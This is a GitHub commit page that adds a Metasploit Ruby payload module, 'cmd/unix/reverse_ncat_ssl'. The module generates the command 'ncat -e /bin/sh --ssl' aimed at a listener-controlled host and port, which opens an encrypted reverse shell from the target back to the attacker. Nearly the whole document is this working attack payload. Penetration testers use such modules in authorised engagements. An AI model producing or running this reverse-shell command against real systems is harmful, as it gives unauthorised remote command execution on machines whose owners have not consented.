Skip to content

Commit 41ef1a4

Browse files
committed
Land rapid7#8325, cmd/unix/reverse_ncat_ssl payload
2 parents dcf74b0 + 772a16f commit 41ef1a4

File tree

1 file changed

+51
-0
lines changed

1 file changed

+51
-0
lines changed
Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core/handler/reverse_tcp_ssl'
7+
require 'msf/base/sessions/command_shell'
8+
require 'msf/base/sessions/command_shell_options'
9+
10+
module MetasploitModule
11+
12+
CachedSize = :dynamic
13+
14+
include Msf::Payload::Single
15+
include Msf::Sessions::CommandShellOptions
16+
17+
def initialize(info = {})
18+
super(merge_info(info,
19+
'Name' => 'Unix Command Shell, Reverse TCP (via ncat)',
20+
'Description' => 'Creates an interactive shell via ncat, utilising ssl mode',
21+
'Author' => 'C_Sto',
22+
'License' => MSF_LICENSE,
23+
'Platform' => 'unix',
24+
'Arch' => ARCH_CMD,
25+
'Handler' => Msf::Handler::ReverseTcpSsl,
26+
'Session' => Msf::Sessions::CommandShell,
27+
'PayloadType' => 'cmd',
28+
'RequiredCmd' => 'ncat',
29+
'Payload' =>
30+
{
31+
'Offsets' => { },
32+
'Payload' => ''
33+
}
34+
))
35+
end
36+
37+
#
38+
# Constructs the payload
39+
#
40+
def generate
41+
super + command_string
42+
end
43+
44+
#
45+
# Returns the command string to use for execution
46+
#
47+
def command_string
48+
"ncat -e /bin/sh --ssl #{datastore['LHOST']} #{datastore['LPORT']}"
49+
end
50+
51+
end

0 commit comments

Comments
 (0)